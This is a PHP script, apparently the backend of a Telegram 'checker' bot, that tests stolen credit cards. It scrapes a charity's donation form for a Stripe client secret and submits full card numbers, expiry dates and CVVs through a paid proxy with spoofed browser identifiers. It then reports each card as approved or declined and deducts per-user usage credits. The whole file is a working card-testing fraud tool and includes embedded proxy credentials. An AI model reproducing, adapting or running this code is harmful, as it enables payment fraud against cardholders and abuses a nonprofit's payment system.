<?php

header('Content-Type: text/plain; charset=utf-8');

$start = microtime(true);

// Database connection
$host = 'localhost';
$dbname = 'checkerbotdb3';
$username = 'root';
$password = '';

function getCurrentLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("SELECT stripegenellimit FROM users WHERE chatid = :chatid");
        $stmt->execute(['chatid' => $chatid]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if ($result) {
            return (int)$result['stripegenellimit'];
        }
        return 0;
    } catch(PDOException $e) {
        return 0;
    }
}

function decrementLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("UPDATE users SET stripegenellimit = stripegenellimit - 1 WHERE chatid = :chatid AND stripegenellimit > 0");
        $stmt->execute(['chatid' => $chatid]);
        
        return true;
    } catch(PDOException $e) {
        return false;
    }
}

// Proxy ayarları
$proxy = "rp.scrapegw.com:6060";
$proxy_auth = "ccb7t99f1xa6q6v:e88zmabjie6wuek";

// Debug mode
$debug = $_GET['debug'] ?? '0';

// Check parameters
if (!isset($_GET['kart']) || !isset($_GET['chatid'])) {
    echo "❌ ERROR: Missing parameters\n";
    echo "Usage: ?kart=CARDNUMBER|MONTH|YEAR|CVV&chatid=CHATID\n";
    exit;
}

$chatid = $_GET['chatid'];

// Check limit
$currentLimit = getCurrentLimit($chatid);
if ($currentLimit < 1) {
    echo "❌ ERROR: Insufficient limits (Available: {$currentLimit})\n";
    exit;
}

// Deduct limit IMMEDIATELY
decrementLimit($chatid);

$cc_raw = $_GET['kart'];

// 2. ADIM: Kart parametresini parçala
list($cc, $mm, $yy, $cvv) = explode("|", $cc_raw);
if (strlen($yy) == 4) {
    $yy = substr($yy, -2);
}

// 3. ADIM: Stripe form sayfasını çek ve client_secret'i ayıkla
$form_url = "https://www.unitedwaysumner.org/form/donate-by-credit-card";

$context = stream_context_create([
    'http' => [
        'timeout' => 30,
        'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    ]
]);
$form_response = @file_get_contents($form_url, false, $context);

if ($form_response === false) {
    echo "❌ ERROR: Form sayfası çekilemedi\n";
    echo "URL: $form_url\n";
    exit;
}

preg_match('/name="stripe_payment_processing\\[client_secret\\]" value="(.*?)"/', $form_response, $matches);
$client_secret = $matches[1] ?? null;

if (!$client_secret) {
    echo "❌ ERROR: client_secret bulunamadı\n";
    echo "Form yapısı değişmiş olabilir\n";
    exit;
}

// BIN bilgisi al
$bin = substr($cc, 0, 6);
$bin_url = "http://localhost/yenifinalcheckerkey4bot/apiler/binapi/binapi2.php?bin=$bin";
$bin_response = @file_get_contents($bin_url);

// 4. ADIM: client_secret içinden payment_intent id'sini ayıkla
preg_match('/pi_[^_]+/', $client_secret, $pi_match);
$pi_id = $pi_match[0] ?? null;
if (!$pi_id) {
    echo "❌ ERROR: payment_intent ID çıkarılamadı\n";
    echo "client_secret: $client_secret\n";
    exit;
}

// 5. ADIM: Stripe API'ye kart doğrulama isteği gönder
$url = "https://api.stripe.com/v1/payment_intents/$pi_id/confirm";
$data = http_build_query([
    "payment_method_data[type]" => "card",
    "payment_method_data[card][number]" => $cc,
    "payment_method_data[card][cvc]" => $cvv,
    "payment_method_data[card][exp_month]" => $mm,
    "payment_method_data[card][exp_year]" => "20$yy",
    "payment_method_data[guid]" => "a41e22b8-cf33-4d11-94eb-cd2f7dbe6af2da8a9c",
    "payment_method_data[muid]" => "a2bd9b87-2759-4e8b-b2c1-6d334d5533d8da47cb",
    "payment_method_data[sid]" => "db2641bd-3a9d-4760-88df-9f007a4faae6c8361e",
    "payment_method_data[pasted_fields]" => "number",
    "payment_method_data[payment_user_agent]" => "stripe.js/d13c85e5a9; stripe-js-v3/d13c85e5a9; card-element",
    "payment_method_data[referrer]" => "https://www.unitedwaysumner.org",
    "payment_method_data[time_on_page]" => "128765",
    "expected_payment_method_type" => "card",
    "use_stripe_sdk" => "true",
    "return_url" => "https://example.com/complete",
    "key" => "pk_live_51L0orYCQX7oZXzb7PjcOquAb0uTj9kL4G13zbnZjbfEKIhNi8F1toWbybgksKgte0siwWQG6VOPEcL5MGefG2wZv00AIZ0y54t",
    "client_secret" => $client_secret
]);
$headers = [
    "Content-Type: application/x-www-form-urlencoded"
];
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $data,
    CURLOPT_HTTPHEADER => $headers,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_PROXY => $proxy,
    CURLOPT_PROXYUSERPWD => $proxy_auth,
]);
$response = curl_exec($ch);
$curl_error = curl_error($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Debug mode: Show complete flow
if ($debug == '1') {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode([
        'step1_form_page' => [
            'url' => $form_url,
            'response_length' => strlen($form_response),
            'response_preview' => substr($form_response, 0, 500)
        ],
        'step2_client_secret' => [
            'client_secret' => $client_secret,
            'pi_id' => $pi_id,
            'regex_matches' => $matches
        ],
        'step3_stripe_api' => [
            'url' => $url,
            'http_code' => $http_code,
            'curl_error' => $curl_error ?: null,
            'request_data' => [
                'pi_id' => $pi_id,
                'client_secret' => $client_secret,
                'card' => substr($cc, 0, 6) . '...' . substr($cc, -4),
                'exp' => "$mm/20$yy",
                'cvv' => str_repeat('*', strlen($cvv))
            ],
            'response_raw' => $response,
            'response_decoded' => json_decode($response, true)
        ]
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
    exit;
}

// Decode response
$json = json_decode($response, true);

// --- DETAYLI ÇIKTI BAŞLANGIÇ ---
if ($bin_response) {
    $bin_data = json_decode($bin_response, true);
    if (is_array($bin_data)) {
        // Öncelik sırası: global2_db -> tr_db -> global_db
        $selected_db = null;
        
        if (isset($bin_data['global2_db']) && is_array($bin_data['global2_db']) && !empty($bin_data['global2_db']['bank'])) {
            $selected_db = $bin_data['global2_db'];
        } elseif (isset($bin_data['tr_db']) && is_array($bin_data['tr_db']) && !empty($bin_data['tr_db']['bank'])) {
            $selected_db = $bin_data['tr_db'];
        } elseif (isset($bin_data['global_db']) && is_array($bin_data['global_db']) && !empty($bin_data['global_db']['bank'])) {
            $selected_db = $bin_data['global_db'];
        }
        
        if ($selected_db) {
            $country = isset($selected_db['country']) ? strtoupper($selected_db['country']) : 'Unknown';
            $bank = isset($selected_db['bank']) ? strtoupper($selected_db['bank']) : 'Unknown';
            $type = isset($selected_db['type']) ? strtoupper($selected_db['type']) : '';
            $level = isset($selected_db['level']) ? strtoupper($selected_db['level']) : '';
            
            $bin_info = "$bin | $country | $bank | $type $level";
            $bin_info = trim($bin_info);
        }
    }
}

// Status ve mesaj
$is_success = false;
$code = '';
$decline_code = '';

if (isset($json['error'])) {
    $code = $json['error']['code'] ?? '';
    $decline_code = $json['error']['decline_code'] ?? '';
} elseif (isset($json['status']) && $json['status'] == 'succeeded') {
    $is_success = true;
}

// RESULT oluştur
$elapsed = round(microtime(true) - $start, 2);
$limit = getCurrentLimit($chatid);

if ($is_success) {
    echo "✅ APPROVED | {$cc}|{$mm}|{$yy}|{$cvv} ({$elapsed}s) 𝐋𝐈𝐌𝐈𝐓:{$limit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} else {
    // DECLINED durumu - detaylı hata göster
    $error_detail = "";
    if ($code && $decline_code) {
        $error_detail = "$code - $decline_code";
    } elseif ($code) {
        $error_detail = $code;
    } elseif ($decline_code) {
        $error_detail = $decline_code;
    } else {
        $error_detail = "Unknown Error";
    }
    
    echo "❌ {$error_detail} | {$cc}|{$mm}|{$yy}|{$cvv} ({$elapsed}s) 𝐋𝐈𝐌𝐈𝐓:{$limit} 𝐒𝐓𝐑𝐈𝐏𝐄𝟐 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
}
